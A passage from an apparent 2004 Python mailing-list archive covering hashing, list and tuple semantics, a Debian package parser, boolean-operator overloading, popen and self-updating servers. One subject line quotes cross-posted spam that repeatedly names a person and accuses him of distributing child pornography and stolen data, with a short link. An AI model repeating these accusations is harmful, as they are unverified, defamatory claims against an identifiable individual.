you're saying. I'm not certain about that. Ok, I was a bit too hasty in using the word "should" there. My research into this strongly suggests that the addition of additional rotations to SHA-1 makes it enough different from SHA-0 that it is difficult to generalize from SHA-0 to 1. However, SHA-256 and SHA-512 (SHA-384 is a truncated version of 512) are pretty strongly derived from SHA-1. In fact, the standard says: "The four algorithms differ most significantly in the number of bits of security that are provided for the data being hashed this is directly related to the message digest length." So, granted I could be completely wrong here, but it looks like it should be easier to generalize from SHA-1 to SHA-256 and SHA-512, as well as their truncated versions. If I am wrong, an explanation of the differences between the three beyond the obvious fact that the larger versions shuffle more data around would be helpful. -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From grante at visi.com Thu Sep 9 18:00:26 2004 From: grante at visi.com (Grant Edwards) Date: 09 Sep 2004 22:00:26 GMT Subject: my own type in C, sequence protocol References: <4140d133$0$8079$a1866201@newsreader.visi.com> Message-ID: <4140d27a$0$8079$a1866201@newsreader.visi.com> On 2004-09-09, Grant Edwards wrote: >> The type that i implemented is a "CAN message", don't know if >> this means something to you, it is a communication message >> with 0 to 8 bytes content. To access this content i thought >> there would be an advantage in implementing the sequence >> protocol. What is the advantage then? > > Good question. > > [I just use lists of integers for my CAN messages.] > > If you want to iterate over your object, you probably want to > support the sequence protocol. Ignore that. I was conflating the sequence protocol and the iterator protocol. -- Grant Edwards grante Yow! VICARIOUSLY at experience some reason visi.com to LIVE!! From adalke at mindspring.com Mon Sep 20 02:36:22 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 06:36:22 GMT Subject: Math errors in python In-Reply-To: References: <70b3d.1822$uz1.747@trndny03> Message-ID: Uncle Tim: > That's absurd. pi is 3 Personally I've found that pie is usually round, though if you're talking price I agree -- I can usually get a slice for about $3, more like $3.14 with tax. I like mine apple, with a bit of ice cream. Strange spelling though. Andrew dalke at dalkescientific.com From aleaxit at yahoo.com Sat Sep 4 05:00:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:30 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> Message-ID: <1gjjzdc.1d6r6trh3x4p7N%aleaxit@yahoo.com> Peter Hansen wrote: ... > Consider, for example, that one actually has to build the > tuple in the first place... how can you do that without > having the info in a list to begin with? (I'm sure there > are ways if one is ingenious, but I think the answers > would just go to prove the point I was making.) tuple(somegenerator(blah)) will work excellently well. In 2.4, you can even often code that 'somegenerator' inline as a generator comprehension. So this 'having the info in a list' argument sounds just totally bogus to me. Say I want to work with some primes and I have a primes generator. Primes aren't going to change, so a tuple is a natural. I start with, e.g., ps = tuple(itertools.islice(primes(), 999999)) ...and then I'm stumped because I can't index into ps to find, say, the progressive number of some given prime N by ps.index(N). How silly, having to keep ps a list, i.e. mutable (when it intrinsically isn't) just to be able to index into it! [I can usefully exploit ps's sortedness via module bisect... ignoring the latter's specs and docs that keep screamign LISTS, bisect.bisect DOES work on tuples... but I wouldn't feel comfy about that surviving, given said docs and specs...:-) Alex From martin at v.loewis.de Wed Sep 1 14:52:01 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 01 Sep 2004 20:52:01 +0200 Subject: Python 2.3.4 - Is datetime module built automatically In-Reply-To: <1556046a.0409011004.7822fe39@posting.google.com> References: <1556046a.0409011004.7822fe39@posting.google.com> Message-ID: <41361a4f$0$24796$9b622d9e@news.freenet.de> JimmyT wrote: > I just configured and installed 2.3.4 and noticed there is no datetime > module. I noticed there is a datetimemodule.c file that did not get > built (ie no object file). Is there something I need to do to my > system to make this module? What operating system is that? The module should have been built and installed automatically. What commmands did you type, in what order? Looking at the output of the build, do you see any mention of datetime? Regards, Martin From fee at fee.com Thu Sep 9 11:51:12 2004 From: fee at fee.com (fee) Date: Thu, 09 Sep 2004 08:51:12 -0700 Subject: Web app scope question Message-ID: <9150d.790$JV3.172@hydra.nntpserver.com> I'm using mod_python to write a web app. I always load one file, index.py which generates the skeleton of the page, while functions and objects from other modules are used to produce the content based on the current state of the app. Some of the data, such as a registrants id number, shopping cart data, current app page/state etc... are needed by almost every module that provides content for the page. In my old PHP app, these were simply global vars, which aside from its reputation as bad form worked fairly well. Now, I find myself stuffing all of these things into an object, and passing it around every where, as an argument to each function, or as a constructor argument. The other alternative that I have considered is to make a 'borg' class, whose attributes always remain the same across instantiations. I just wondered about the experience of the list regarding sets of data that really need to be visible to most of the modules in the app. Thanks, Toby From peter at engcorp.com Fri Sep 10 09:00:48 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 09:00:48 -0400 Subject: Electronic voting feasibility In-Reply-To: References: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> Message-ID: <45KdncJwAO8dONzcRVn-hA@powergate.ca> Jaime Wyant wrote (top-posting): > I think the negativity is well founded. http://www.blackboxvoting.org/ Doesn't sound like it was a security issue involving choice of programming language, operating system, or even technical design, however... """This problem appears to demonstrate intent to manipulate elections, and was installed in the program under the watch of a programmer who is a convicted embezzler.""" -Peter From R.Brodie at rl.ac.uk Tue Sep 21 06:11:15 2004 From: R.Brodie at rl.ac.uk (Richard Brodie) Date: Tue, 21 Sep 2004 11:11:15 +0100 Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <414fa1ec$0$63273$a1866201@newsreader.visi.com> Message-ID: "Grant Edwards" wrote in message news:414fa1ec$0$63273$a1866201 at newsreader.visi.com... > Strictly speaking, the only MAC that is "valid" according to > the IEEE spec is the one the manufacturer put into it. However, > as long as you pick a MAC address that's not one of the special > ones (broadcast or multicast addresses), you can probably just > pick one at random. Actually, you can legitimately set the 'locally administered address' bit (the second bit on the wire). Then you have 2^46 addresses to play with. From ed at leafe.com Thu Sep 23 16:59:33 2004 From: ed at leafe.com (Ed Leafe) Date: Thu, 23 Sep 2004 16:59:33 -0400 Subject: spliting a list by nth items In-Reply-To: References: Message-ID: <783242B9-0DA3-11D9-8C15-003065B11E84@leafe.com> On Sep 23, 2004, at 1:25 PM, Steven Bethard wrote: > So the first list is simple: > > nth_items = items[::n] > > The second list is what's giving me trouble. So far, the best I've > come up with is: > > non_nth_items = list(items) > del non_nth_items[::n] > > Is this the right way to do this? nth_items = items[::n] non_nth_items = [item for item in items if not in nth_items] ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From zanesdad at bellsouth.net Wed Sep 29 11:11:48 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 11:11:48 -0400 Subject: how to get files in a directory In-Reply-To: <415ACCF4.4070506@esi-group.com> References: <415ACCF4.4070506@esi-group.com> Message-ID: <415AD0B4.5040603@bellsouth.net> Anand K Rayudu wrote: > > Hi all, > > I am trying to find a way to get the files recursively in a given > directory, > > The following code is failing, can some one please suggest what could > be problem here > > > from os import walk,join > > for root,dir,files in os.walk("E:\myDir1\MyDir2"): > for i in dir: > for j in files: > fille = root+i+j > print file > > Surprisingly if i give os.walk("E:\myDir1") the above code works, but > not if i have 2 levels of directories. > > Thanks & Best Regards, > Anand > > Would you mind posting the code that works? First of all, os doesn't have a join, so doing an "from os import walk, join" won't work. Second, you don't have an "os" namespace in your script. Third, if your import would've worked, you would have wound up with walk and join in your toplevel namespace. Next, you've got "fille = root + i + j" (two letters l in fille) then you try to print "file" (with one l). This code works for me: import os for root,dir,files in os.walk("r:\svn\qa"): for i in dir: for j in files: file = root + i + j print file Jeremy Jones From aleaxit at yahoo.com Tue Sep 7 02:14:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 08:14:06 +0200 Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <2q4s80Fr7lqtU1@uni-berlin.de> Message-ID: <1gjqh4o.1vx3ihvbruzjfN%aleaxit@yahoo.com> Andrew Durdin wrote: > On Tue, 07 Sep 2004 16:37:18 +1200, Greg Ewing > wrote: > > Alex Martelli wrote: > > > Problem is, __nonzero__ is currently > > > typechecked -- it has to return an integer. > > > > Yes, that's the problem. I should probably elaborate > > on that a bit in the PEP. > > That is not the only issue with __nonzero__ versus __not__ -- in some > cases (e.g. the symbolic algebra or SQL query constructor) it is > useful to determine when an explicit "not" operator has been used. Yes, you're right, and my assertion was flawed. Typechecking is only part of the issue. > I'm not at a machine with the patch installed on it at the moment, but > I just began to whether this patch would have an effect on expressions > like (a < b < c) (which are also short-circuiting)... Come to think > of it, how do objects which override __gt__ and the other comparisons > (particularly for expression construction) work in that case? I believe a < b < c has exactly the semantics of [but with no doube evaluation of b...]: (a < b) and (b < c) Overriding _lt_ to give a print seems to confirm that: In [1]: class chatty: ...: def __init__(self, i): self.i = i ...: def __lt__(self, other): ...: print '%d < %d' % (self.i, other.i) ...: return self.i < other.i ...: In [2]: chatty(3) < chatty(6) < chatty(9) 3 < 6 6 < 9 Out[2]: True In [3]: chatty(3) < chatty(16) < chatty(9) 3 < 16 16 < 9 Out[3]: False In [4]: chatty(3) < chatty(1) < chatty(9) 3 < 1 Out[4]: False Alex From ismaelherreragasser at hotmail.com Thu Sep 23 03:25:29 2004 From: ismaelherreragasser at hotmail.com (Ismael Herrera) Date: Thu, 23 Sep 2004 03:25:29 -0400 Subject: newbie evaluation References: <3A81C87DC164034AA4E2DDFE11D258E3022F03@exchange.hqamor.amorhq.net> Message-ID: > 2. In the block: > >> def load(self): >> >> try : >> >> #open the database file >> f = open('/var/lib/dpkg/available','r') >> >> except : raise IOError > > ...why not just let any exception which open() raises propagate outward? > There is *very* rarely a need in Python to trap all exceptions with a > bare "except:" clause. If you just re-raise IOError, there's no point in > trapping at all. ups , mistake > 3. (The biggie) Why use a class for dpackagedb instead of a function? > Below is a complete, minimally-tested version which uses a simple > state-machine function instead. It makes one pass over the data and is > probably quite a bit faster than the class-based version. I also dropped > the regex since we now iterate over each line one by one. because i want to add more functionality later , with just a function everything mixes, i had hard time to understand your example :(,thats a realy big function , isnt it better a bunch of litle functions which are easier to read and test ? > 4. Even if you keep the class-based approach, you don't need the class > attributes like "PKG = 'Package'" -- they just mess up the namespace and > don't add any value. Use the actual field names instead. i am not sure why i put those constants , i think to add flexibility > 5. Do you really need all of those attributes (like "arquitecture") to > be "top-level" for the dpackage objects? I chose to put them in a > subclass of dict instead. The difference is that you would refer to > "dpackage().arquitecture" in your scheme and > "dpackage()['Architecture']" in mine. If you still want the non-English > terms, re-introduce a dict lookup when the field names are parsed. but that aproach defeats the purpose of object oriented programing,doesnt it? i could just put the key-values of any object in a dict instead of instance attributes, but my class doesnt act as a dict,and i think it looses flexibility that way > 7. My version is about half the length of yours (so stop putting blank > lines between every statement ;). Although a state machine might seem > more complex, it's actually easier to grasp at once since it all fits on > a single page of code (on my screen, anyway). You love short scripts and functional programing,dont you ? :) well i am used to think about flexibility and extensibility rather than realy short scripts ,but i guess thats just diferent styles,but it is realy short. thanks for your help. > ----------- > > #!/usr/bin/python > > fieldnames = ['Package', 'Priority', 'Section', 'Installed-Size', > 'Maintainer', 'Architecture', 'Source', 'Version', > 'Replaces', 'Depends', 'Conflicts', 'Size', > 'Description'] > > > class dpackage(dict): > """A package in the Debian 'available packages' database.""" > > def __str__(self): > return "\n".join(["%s = %s" % (k, self.get(k)) > for k in fieldnames]) > > > def all_packages(): > f = open('/var/lib/dpkg/available', 'r') > > db = [] > pkg = dpackage() > desc = [] > > for line in f: > if line != "\n": > if line.startswith('Description'): > # Add the line to the description. > # A non-empty 'desc' signals we are in the > # description-gathering state. > desc.append(line) > else: > if desc: > desc.append(line) > else: > # Parse the line and add to the current package > k, v = line.split(":", 1) > v = v.strip() > if k in ('Depends', 'Recommends'): > pkg[k] = v.split(",") > else: > pkg[k] = v > else: > # Finalize the current package and store it > if desc: > pkg['Description'] = "".join(desc) > desc = [] > if pkg: > db.append(pkg) > # Make a new, empty package object > pkg = dpackage() > > f.close() > > # Not sure why you drop the last item, > # but you must have a reason. > db.pop() > > return db > > > if __name__ == '__main__': > for x in all_packages(): > if x: > print x > > ----------- > > ...and here's the test output: > >>>> d = debpkg.all_packages() >>>> len(d) > 10823 >>>> print d[0] > Package = cl-infix > Priority = optional > Section = non-free/devel > Installed-Size = 64 > Maintainer = Kevin M. Rosenberg > Architecture = all > Source = None > Version = 19960628.1-2 > Replaces = None > Depends = ['common-lisp-controller (>= 3.37)'] > Conflicts = None > Size = 15242 > Description = Description: an infix reader macro for Common Lisp > This package provides an infix reader macro for Common Lisp, > allowing use of more > traditional mathematical syntaxes in Common Lisp programs. > > > Hope that helps, > > > Robert Brewer > MIS > Amor Ministries > fumanchu at amor.org From dperl at rogers.com Sun Sep 12 22:04:34 2004 From: dperl at rogers.com (Dan Perl) Date: Mon, 13 Sep 2004 02:04:34 GMT Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> Message-ID: I would have expected the same results as you, but then, after all, I'm still a newbie myself. But here is how I understand it now. a=a+b and a+=b are not the same. The first one creates a new list and assigns it back to 'a'. The second one is changing 'a' in-place and is probably equivalent to a.extend(b). Here is some code to prove that a is changed in-place in the second case: a=[1,2,3] c=a print a,c # [1, 2, 3] [1, 2, 3], a and c are the same object a.append(4) print a,c # [1, 2, 3, 4] [1, 2, 3, 4], I told you so! b=[5,6,7] a=a+b print a,c # [1, 2, 3, 4, 5, 6, 7] [1, 2, 3, 4], a and c are not the same object anymore a=c print a,c # [1, 2, 3, 4] [1, 2, 3, 4], a and c are the same object again a+=b print a,c # [1, 2, 3, 4, 5, 6, 7] [1, 2, 3, 4, 5, 6, 7], still the same object! b=(8,9) # let's show it with a tuple too a+=b print a,c # [1, 2, 3, 4, 5, 6, 7, 8, 9] [1, 2, 3, 4, 5, 6, 7, 8, 9] Dan "Q852913745" wrote in message news:20040912195529.03437.00000338 at mb-m27.aol.com... >I am trying to learn python from 'Python programming for the absolute >beginner' > I'm sure I understand the difference between tuples and lists, but while > experimenting with what I have learned so far, I was suprised that this > code > worked. > > # Create list a > a=["start",878,"item 1",564354,"item 2"] > print "length of list a =",len(a) > print "a =",a ; print > > # Create tuple b > b=(234,"item 3",456,"end") > print "length of tuple b =",len(b) > print "b =",b ; print > > print "Add b onto a" # Shouldn't work! > #--------------------------------------------- > # a=a+b # causes an error as it should, > a+=b # but why is this ok? > #--------------------------------------------- > print "a =",a > print "length of a =",len(a) > print;c=raw_input("Press enter to exit") > > My book states that a=a+b and a+=b are the same, and that different > 'types' of > sequence cannot be joined together. From jjl at pobox.com Sun Sep 12 16:52:12 2004 From: jjl at pobox.com (John J. Lee) Date: 12 Sep 2004 21:52:12 +0100 Subject: open and shut case References: <878ybfk3rf.fsf@pobox.com> Message-ID: <87oekb9pmr.fsf@pobox.com> Andrew Dalke writes: > John J. Lee wrote: > > PS. these days, your subject line sounds distinctly spammish > > (especially since it's a woman posting the message to a > > comp. newsgroup -- how likely can that be? ;-) > > What the .... ??! Was that supposed to be funny? The smiley > suggests you thought it was. It isn't. It's crude and rude. Now *I'm* left thinking "What the.." . That went over my head... How is it crude, or rude?? It just seemed funny that the very presence of a woman on this newsgroup indicated spam to the sensitive spam-detection circuits my brain has grown over the past few years. If you want me to deconstruct the reasons why it seemed funny: I suppose it fits the standard joke format, according to Vilayanur Ramachandran (not sure the idea originates with him): a sudden re-evaluation of the facts (it's not spam after all), and the consequence turns out to be inconsequential (a perfectly valid everyday post -- no harm has been done). The wink was mildly self-mocking, I guess: The almost total absence of women from this little virtual place must to some extent reflect badly on whatever communities it comprises. Maybe I should be pleased that I can't even imagine what it was you thought I was saying... John From hat at se-126.se.wtb.tue.nl Thu Sep 9 11:33:21 2004 From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp) Date: Thu, 9 Sep 2004 15:33:21 +0000 (UTC) Subject: Using Python to generate code? References: <1gjt2oi.1fe1y8mpb2jxdN%aleaxit@yahoo.com> Message-ID: On Wed, 8 Sep 2004 17:47:16 +0200, Alex Martelli wrote: > Jeremy Bowers wrote: > ... >> > 2. Does Python has a parser? It seems to me that there is no-standard >> > Parser for Python right now. If it is the case, can I interface Python >> > with existing cup and lex? >> >> Why are you asking about a parser when you are talking about *outputting* >> code? Is there something left out of the problem description? > > the original poster started his original post with: > >> I need your advice on this matter. I am working on a program which >> takes some pieces of System-C code in and generate some other System-C > > That "takes some pieces of ... code" sounded to me like an indication > that a parser is needed -- nothing left out of the problem description, > IMHO. For the original poster: I just discovered that there is a Topic guide about scanners/parsers at python.org !! It has quite a list of module links. Albert -- Unlike popular belief, the .doc format is not an open publically available format. From roo at try-removing-this.darkboong.demon.co.uk Fri Sep 10 16:40:11 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Fri, 10 Sep 2004 21:40:11 +0100 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <1ctshc.kd52.ln@via.reistad.priv.no> Message-ID: <1094848812.10962@teapot.planet.gong> Jon Boone wrote: > On 2004-09-10 14:56, in article 1ctshc.kd52.ln at via.reistad.priv.no, > "Morten Reistad" wrote: > >> I just don't get it. The stated agenda is either misstated, or grossly >> misimplemented. > > Never attribute to malice what is adequately explained through > incompetence. > > --jon That doesn't adequately cover incompetantance and malice combined. :) -- Rupert From helten0007 at yahoo.com Tue Sep 28 04:37:07 2004 From: helten0007 at yahoo.com (Peter Jensen) Date: Tue, 28 Sep 2004 10:37:07 +0200 Subject: Is there a function to search the HD Message-ID: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net> Hi all. I was wondering if there is an inbuild function in python to search your harddrives ( Harddisk's) for a file of a speciel type. I mean can I write a command with 2 parameters ( one being the filetype, and the other the location on the harddisk where I want to search for the specific file type ) Thank for all input... From gerrit at nl.linux.org Fri Sep 24 09:43:03 2004 From: gerrit at nl.linux.org (Gerrit) Date: Fri, 24 Sep 2004 15:43:03 +0200 Subject: > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lin In-Reply-To: References: Message-ID: <20040924134303.GA3669@nl.linux.org> Matthew K Jensen wrote: > > comp.lang.python,cu.cs.clim,sci.energy.hydrogen,uw.stats.s,talk.philosophy.misc > > > > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lint herzog matt parker violates the internet privacy act by distributing stolen personal data matt parker alias evon_lunsen_herzog matt parker alias > > I think you're better off using a unicode string. In cases like this, > it's good to know different encoding standards. Please, you are *severely* confusing my spambayes! How am I supposed to train your message? ;-) Gerrit -- Weather in Twenthe, Netherlands 24/09 14:25: 13.0?C Cumulonimbus clouds observed mostly cloudy wind 5.8 m/s WNW (57 m above NAP) -- In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist. -Dwight David Eisenhower, January 17, 1961 From daniel.dittmar at sap.corp Wed Sep 22 04:28:31 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Wed, 22 Sep 2004 10:28:31 +0200 Subject: python is going to die! =( In-Reply-To: <10l2ao6agqrkte9@corp.supernews.com> References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <10l2ao6agqrkte9@corp.supernews.com> Message-ID: Tom Cocagne wrote: > The one thing that I would like to see, however, (....admittedly a > dangerous statement considering that it could very well wind up getting me > *volunteered* to fix it... ;-) is a "GUI development in Python" page That would be http://www.python.org/cgi-bin/moinmoin/GuiProgramming. There's not much there in term of comparisons, but as you volunteered... Daniel From maxm at mxm.dk Mon Sep 13 14:11:15 2004 From: maxm at mxm.dk (Max M) Date: Mon, 13 Sep 2004 20:11:15 +0200 Subject: Addition to slice syntax (for strings) In-Reply-To: <4145d672$0$22765$db0fefd9@news.zen.co.uk> References: <4145d672$0$22765$db0fefd9@news.zen.co.uk> Message-ID: <4145e264$0$290$edfadb0f@dread12.news.tele.dk> Will McGugan wrote: > I have actually implemented something similar in a C++ string class, so > its not completely crazy - but I would be interested in what more > experienced Python developers think of it. I actually find that it is a good idea for a class, but the devil is in the details, and I think that it might be too limited in the long run. Sometimes you want to use rfind() instead of find(). Other times you want to use a regular expression as the index etc. It is probably a good idea to leave it out of the language. Especially as it is pretty easy to roll your own. A better idea is to add the recipe to the Python Cookbook http://aspn.activestate.com/ASPN/Python/Cookbook/ regards Max M From tim.hochberg at ieee.org Thu Sep 9 10:26:17 2004 From: tim.hochberg at ieee.org (Tim Hochberg) Date: Thu, 09 Sep 2004 07:26:17 -0700 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: <2qaa6pFt9ltbU1@uni-berlin.de> References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <2q4s80Fr7lqtU1@uni-berlin.de> <2qaa6pFt9ltbU1@uni-berlin.de> Message-ID: Greg Ewing wrote: > Andrew Durdin wrote: > >> I'm not at a machine with the patch installed on it at the moment, but >> I just began to whether this patch would have an effect on expressions >> like (a < b < c) > > > No, it won't have any effect on those. I don't think > it should, either -- it should only apply when you > explicitly write an 'and'. [I should probably download the patch and try this before commenting, but no time, so: open mouth, insert foot]. Why? You specifically mention Numeric/Numarray as one motivating factor for this patch, and as a long time Numeric/Numarray user I'd rather have (a < b < c) work than (a and b). My biggest concern is that if (a < b < c) is not changed in conjunction with (a and b), the behaviour of the former becomes difficult to explain. Currently one can explain it by saying, "a < b < c is interpreted as (a < b) and (b < c), and 'and' doesn't work on numeric arrays". However, if 'and' starts to work sensible for numarrays, but (a < b < c) retains the old behaviour, the behaviour becomes both hard to explain and hard to understand. I'll try to download the patch and comment more completely later. -tim From stefan at eischet.com Wed Sep 15 18:24:19 2004 From: stefan at eischet.com (Stefan Eischet) Date: Thu, 16 Sep 2004 00:24:19 +0200 Subject: software that knows how to update itself In-Reply-To: References: Message-ID: Hi, the update thing looks sane to me, but only IF you can really trust that crc/md5 part, which you didn't flesh out very much. I really don't know enough about crypto stuff to comment on this part. Some things to think about, anyway: How exactly will this work? How can you be sure that hackers won't use this mechanism to replace your code with theirs? You might argue that you won't have enough installations to get hackers interested in your server. In closed networks, well okay. But I wouldn't run this on an internetwide accessible machine. I don't know what your situation is; if this is for a larger organization: do you run an automatic software deployment tool in your organization? These do the same thing, but for all kinds of apps. Why not use that to deliver updates? If you don't have such a thing but can afford it, think about buying one. I can give you some pointers if you're interested; I used to work in that field. Cheers, Stefan On 15.09.2004, at 14:46, Brad Tilley wrote: > I've written and tested a *very basic* socket server that I'll have to > deploy soon... sooner than I'd like as much of the functionality that > I want to include hasn't been implemented or even tested yet. So, I've > been thinking about writing a function that has the ability to upgrade > the socket server remotely. However, I have never done anything like > this so I'm looking for tips and advice on the subject. > > The socket server runs continuously listening for connections so I'll > always be able to communicate with it. Here's some pseudo code that > captures the essence of what I'd like to do: > > def update_urself(): > receive updated socket server code & write it to a file > verify file with crc or md5sum check on both ends > if verify is OK: > close all connections > replace sock_serv.py with sock_serv_update.py > > if conn.recv == 'UPDATE' > update_urself() > > Does this look sane? > > > > > -- > http://mail.python.org/mailman/listinfo/python-list > > // stefan at eischet.com // From ialbert at mailblocks.com Fri Sep 10 13:07:56 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 10 Sep 2004 13:07:56 -0400 Subject: Electronic voting feasibility In-Reply-To: References: Message-ID: <2MadnV5_1fnwQtzcRVn-uA@giganews.com> Greg Steffensen wrote: > the disk is never touched), so choice of language is largely arbitrary. > Is this wrong? Are there reasons to choose/avoid Python? All I know about designing secure systems is that if one has to ask questions about it then it means that they cannot do it. Istvan. From greg at cosc.canterbury.ac.nz Tue Sep 7 00:37:18 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Tue, 07 Sep 2004 16:37:18 +1200 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> Message-ID: <2q4s80Fr7lqtU1@uni-berlin.de> Alex Martelli wrote: > Problem is, __nonzero__ is currently > typechecked -- it has to return an integer. Yes, that's the problem. I should probably elaborate on that a bit in the PEP. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From mwh at python.net Wed Sep 15 08:03:37 2004 From: mwh at python.net (Michael Hudson) Date: Wed, 15 Sep 2004 12:03:37 GMT Subject: Subclassing in C References: <41470D3A.1040206@research.att.com> <41473FCF.5000706@research.att.com> Message-ID: Iker Arizmendi writes: > Michael Hudson wrote: > > Iker Arizmendi writes: > > > >>(*) The class I'm deriving from is defined in another > >>extension module and it has its own tp_getattr method. > > Hmm. I take it *it's* tp_getattr[o] method isn't > > PyObject_GenericGetAttr then? > > Then your initial post makes more sense; I'm afraid I don't see > > any obvious reason for PyObject_GenericGetAttr to crash. > > Ah! I missed the trailing 'o' and set tp_getattr, not > tp_getattro as you suggested. [snip] OK, some questions. 1) You must be assuming 2.2 or later, right? tp_base doesn't make sense before then. 2) Is this a third party base type? 3) If 2) is the third party assuming 2.2 or later? If 2) but not 3), you might be in for some hacking (as you later came up with). You can't really subclass (cleanly) a type that's totally unprepared for it. Py_FindMethod() is SO 2001 :-) Cheers, mwh -- I recompiled XFree 4.2 with gcc 3.2-beta-from-cvs with -O42 and -march-pentium4-800Mhz and I am sure that the MOUSE CURSOR is moving 5 % FASTER! -- from Twisted.Quotes From siona at chiark.greenend.org.uk Thu Sep 30 09:01:17 2004 From: siona at chiark.greenend.org.uk (Sion Arrowsmith) Date: 30 Sep 2004 14:01:17 +0100 (BST) Subject: List rotation References: Message-ID: M. Clift wrote: >I can think of the long/wrong way to do it as shown for trans = 3, but there >must be some simpler idea. > > >for idx in range(len(items)): > if list[idx:idx + 1] == ['a']: > list[idx:idx + 1] = ['d'] > if list[idx:idx + 1] == ['b']: > list[idx:idx + 1] = ['a'] Depending on what the possible characters are, you might be able to do something with chr() and ord() and modulo arithmetic: c2 = chr((ord(c1) - ord('a') + n) % 4 + ord('a')) but Peter Otten's solution is more general. -- \S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/ ___ | "Frankly I have no feelings towards penguins one way or the other" \X/ | -- Arthur C. Clarke her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump From ksenia at ksenia.nl Wed Sep 8 10:32:14 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Wed, 08 Sep 2004 17:32:14 +0300 Subject: Question: tools for business apps development In-Reply-To: <2q5vvrFrq42gU2@uni-berlin.de> References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2q5vvrFrq42gU2@uni-berlin.de> Message-ID: >> One of possibilities is to use Flash (in a browser) for GUI. I am >> thinking about using it for some project that also needs more >> interactivity: Flash for frontend, Python for backend (Web service >> using XMLRPC). >> You can use Flash IDE for fast GUI builing, and code the flow of your >> GUI in Action Script files, using your favorite editor. >> The sad part of this approach is that you can't program everything in >> Python. The nice part is the maintainability (no install, >> automatically download of the latest version). >> But these are my thoughts... I wonder what people say who actually >> did it :) >> Ksenia. > > It's actually a very effective solution, in my experience. You get a > cross-platform, very smart client talking to the server of your > choice. When I used this approach (pre-Python-discovery) I wrote the > server in Java and all messages were exchanged as XML. Now I would > make the same choice as you: Python server using XML-RPC. > Good to hear that :) I was thinking about that 'very smart client'... actually, I want the Flash client to be 'as dumb as possible' :) In the terms of Model-View-Controller, wouldn't it be even better to have only 'View' in Flash? The 'Controller' can then be on the server, in Python, comunicating with Flash client in...XUL? ;-) It will be basically the same as generating HTML for the browser... but with richer widgets. Googled from curiosity: http://zulu.netspedition.com/zulu/main/overview.shtml Hmm... Ksenia. From robin.siebler at palmsource.com Sun Sep 12 19:52:51 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 12 Sep 2004 16:52:51 -0700 Subject: Python or 4NT? With a question or two about popen() Message-ID: <95c29a5e.0409121552.af6bdba@posting.google.com> I have a bunch of command line tests that I need to automate. I've run into too many bugs with the default Win2k command shell, so I need to either purchase 4NT or handle the logic and output processing with Python. I'm looking for experiences, comments, problems, etc. Also, I'm trying to figure out how to use popen(). To say that the documentation and expamples available for this is sparse would be the understatment of the century! I know that I want to use popen4() but what is the difference between os.popen4(), win32pipe.popen4() and popen2.popen4()(did I miss any?)? And how, exactly, do I *use* popen4()? I figured out how to use popen(), but I haven't been too successfull with popen(). A good example would really come in handy! I have *5* Python books and not one has an example for anything other than popen()! Robin L. Siebler Software Test Engineer PalmSource --------------------------------------- Homer Simpson: But every time I learn something new, it pushes out something old! Remember that time I took a home wine-making course and forgot how to drive? Marge: That's because you were drunk! Homer Simpson: And how! From martin at v.loewis.de Tue Sep 7 14:30:54 2004 From: martin at v.loewis.de 